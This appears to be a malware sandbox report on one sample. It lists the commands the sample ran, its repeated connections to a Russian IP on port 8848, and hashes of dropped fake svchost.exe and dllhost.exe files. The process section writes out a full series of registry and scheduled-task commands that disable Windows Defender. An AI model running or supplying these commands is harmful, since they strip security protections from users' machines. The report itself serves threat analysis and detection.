C:\Windows\system32\reg.exe

reg add "HKLM\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableBehaviorMonitoring" /t REG_DWORD /d "1" /f

C:\Windows\system32\reg.exe

reg add "HKLM\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableIOAVProtection" /t REG_DWORD /d "1" /f

C:\Windows\system32\reg.exe

reg add "HKLM\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableOnAccessProtection" /t REG_DWORD /d "1" /f

C:\Windows\system32\reg.exe

reg add "HKLM\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableRealtimeMonitoring" /t REG_DWORD /d "1" /f

C:\Windows\system32\reg.exe

reg add "HKLM\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableRoutinelyTakingAction" /t REG_DWORD /d "1" /f

C:\Windows\system32\reg.exe

reg add "HKLM\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableScanOnRealtimeEnable" /t REG_DWORD /d "1" /f

C:\Windows\system32\reg.exe

reg add "HKLM\Software\Policies\Microsoft\Windows Defender\Reporting" /v "DisableEnhancedNotifications" /t REG_DWORD /d "1" /f

C:\Windows\system32\reg.exe

reg add "HKLM\Software\Policies\Microsoft\Windows Defender\SpyNet" /v "DisableBlockAtFirstSeen" /t REG_DWORD /d "1" /f

C:\Windows\system32\reg.exe

reg add "HKLM\Software\Policies\Microsoft\Windows Defender\SpyNet" /v "SpynetReporting" /t REG_DWORD /d "0" /f

C:\Windows\system32\reg.exe

reg add "HKLM\Software\Policies\Microsoft\Windows Defender\SpyNet" /v "SubmitSamplesConsent" /t REG_DWORD /d "2" /f

C:\Windows\system32\reg.exe

reg add "HKLM\System\CurrentControlSet\Control\WMI\Autologger\DefenderApiLogger" /v "Start" /t REG_DWORD /d "0" /f

C:\Windows\system32\reg.exe

reg add "HKLM\System\CurrentControlSet\Control\WMI\Autologger\DefenderAuditLogger" /v "Start" /t REG_DWORD /d "0" /f

C:\Windows\system32\schtasks.exe

schtasks /Change /TN "Microsoft\Windows\ExploitGuard\ExploitGuard MDM policy Refresh" /Disable

C:\Windows\system32\schtasks.exe

schtasks /Change /TN "Microsoft\Windows\Windows Defender\Windows Defender Cache Maintenance" /Disable

C:\Windows\system32\schtasks.exe

schtasks /Change /TN "Microsoft\Windows\Windows Defender\Windows Defender Cleanup" /Disable

C:\Windows\system32\schtasks.exe

schtasks /Change /TN "Microsoft\Windows\Windows Defender\Windows Defender Scheduled Scan" /Disable

C:\Windows\system32\schtasks.exe

schtasks /Change /TN "Microsoft\Windows\Windows Defender\Windows Defender Verification" /Disable

C:\Windows\system32\reg.exe

reg delete "HKLM\Software\Microsoft\Windows\CurrentVersion\Explorer\StartupApproved\Run" /v "SecurityHealth" /f

C:\Windows\system32\reg.exe

reg delete "HKLM\Software\Microsoft\Windows\CurrentVersion\Run" /v "SecurityHealth" /f

C:\Windows\system32\reg.exe

reg delete "HKCR\*\shellex\ContextMenuHandlers\EPP" /f

C:\Windows\system32\reg.exe

reg delete "HKCR\Directory\shellex\ContextMenuHandlers\EPP" /f

C:\Windows\system32\reg.exe

reg delete "HKCR\Drive\shellex\ContextMenuHandlers\EPP" /f

C:\Windows\system32\reg.exe

reg add "HKLM\System\CurrentControlSet\Services\MDCoreSvc" /v "Start" /t REG_DWORD /d "4" /f

C:\Windows\system32\reg.exe

reg add "HKLM\System\CurrentControlSet\Services\WdFilter" /v "Start" /t REG_DWORD /d "4" /f

C:\Windows\system32\reg.exe

reg add "HKLM\System\CurrentControlSet\Services\WdNisDrv" /v "Start" /t REG_DWORD /d "4" /f

C:\Windows\system32\reg.exe

reg add "HKLM\System\CurrentControlSet\Services\WdNisSvc" /v "Start" /t REG_DWORD /d "4" /f

C:\Windows\system32\reg.exe

reg add "HKLM\System\CurrentControlSet\Services\WinDefend" /v "Start" /t REG_DWORD /d "4" /f

C:\Users\Admin\AppData\Local\Temp\IXP001.TMP\dllhost.exe

dllhost.exe

C:\Users\Admin\AppData\Local\Temp\svchost.exe

"C:\Users\Admin\AppData\Local\Temp\svchost.exe"

Network

Country Destination Domain Proto
GB 216.58.201.106:443 tcp
US 8.8.8.8:53 160.83.221.88.in-addr.arpa udp
US 8.8.8.8:53 97.17.167.52.in-addr.arpa udp
US 8.8.8.8:53 183.59.114.20.in-addr.arpa udp
US 8.8.8.8:53 15.164.165.52.in-addr.arpa udp
RU 185.188.183.18:80 185.188.183.18 tcp
US 8.8.8.8:53 18.183.188.185.in-addr.arpa udp
US 8.8.8.8:53 107.12.20.2.in-addr.arpa udp
US 8.8.8.8:53 95.221.229.192.in-addr.arpa udp
US 8.8.8.8:53 72.32.126.40.in-addr.arpa udp
US 8.8.8.8:53 17.160.190.20.in-addr.arpa udp
US 8.8.8.8:53 241.150.49.20.in-addr.arpa udp
RU 185.188.183.18:8848 tcp
US 8.8.8.8:53 13.86.106.20.in-addr.arpa udp
N/A 127.0.0.1:8848 tcp
N/A 127.0.0.1:8848 tcp
US 8.8.8.8:53 172.210.232.199.in-addr.arpa udp
N/A 127.0.0.1:8848 tcp
US 8.8.8.8:53 14.227.111.52.in-addr.arpa udp
RU 185.188.183.18:8848 tcp
N/A 127.0.0.1:8848 tcp
US 8.8.8.8:53 144.107.17.2.in-addr.arpa udp
N/A 127.0.0.1:8848 tcp
N/A 127.0.0.1:8848 tcp
N/A 127.0.0.1:8848 tcp
RU 185.188.183.18:8848 tcp
RU 185.188.183.18:8848 tcp
RU 185.188.183.18:80 185.188.183.18 tcp

Files

C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\main.bat

MD5 ea021e4f2f77ebf4e02a39c82172e240
SHA1 98f921e1b0d0a1273fb1c9e9dcf6245cbd92c91a
SHA256 c7c390518a2d06e2567eca287925058bcb8bc466cffe4c210fec0f9664f5bcde
SHA512 7f201842a37cd57751d800a950beb5369e010f6dae34b6241db1b9e3b64c86bfe30c2116039a0f8a80bc79bd8371dd707140a9fe564e6468c4accb1eb3861d65

C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\dllhost.exe

MD5 f75acc31206c792c4831f9aa52404b2b
SHA1 c1380e151eba78a3ec395f46d76fbcd273c10afe
SHA256 7aaa38f2e289da72c6dc9b61d4951f34badc693798560f69ad42944eb470dbfd
SHA512 80614ccd2823c429867a421ca0464ed088f474c2399681be398982a440112fa1683680a2f4cf496bec98f23792ea5a74ece95fd0741499b9389a98ab72c5a72f

memory/4784-8-0x0000000000400000-0x000000000041D000-memory.dmp

C:\Users\Admin\AppData\Local\Temp\svchost.exe

MD5 ee7346d7b4db0921b8e859072b561514
SHA1 6c0ccc2bab163fdabe93d9e7ae5a6d723a422709
SHA256 7ef4770b47759c0b35cf97edca41ff0d6a61265a4cf910e7454b46a915218deb
SHA512 a1e04022702df848dad96ec28cb91fc9515b0ea03b1ed7f93deb8001e9a2efe4b49ac4ce848679cb591faf45505db6716cb5afe60f7754ba7a96d52cf595833f

memory/3080-23-0x0000000000BE0000-0x0000000000BF2000-memory.dmp

memory/4784-24-0x0000000000400000-0x000000000041D000-memory.dmp

C:\Users\Admin\AppData\Local\Temp\tmpA505.tmp.bat

MD5 d2c0af9ac36786c859b82a282797550e
SHA1 f2c0378248d92f6c48d01b442dbcf6af0f6d2aa7
SHA256 823f24782dc2fee896a93d431fcbec008935c2e7b836cd8d75ebf982e840a375
SHA512 7fce5adf54a1152cbc93c9de7e3f12029e44730b97f62eacde183dad82ac8173019dca27b4464b15103be2319ed4cbd51bd847dafa73dfc71e2ad68b08bf05a3

C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\svchost.exe.log

MD5 fff5cbccb6b31b40f834b8f4778a779a
SHA1 899ed0377e89f1ed434cfeecc5bc0163ebdf0454
SHA256 b8f7e4ed81764db56b9c09050f68c5a26af78d8a5e2443e75e0e1aa7cd2ccd76
SHA512 1a188a14c667bc31d2651b220aa762be9cce4a75713217846fbe472a307c7bbc6e3c27617f75f489902a534d9184648d204d03ee956ac57b11aa90551248b8f9

memory/2032-35-0x000000001DE10000-0x000000001DE86000-memory.dmp

memory/2032-36-0x000000001DC80000-0x000000001DC90000-memory.dmp

memory/2032-37-0x000000001DDB0000-0x000000001DDCE000-memory.dmp

memory/5104-58-0x0000000000400000-0x000000000041D000-memory.dmp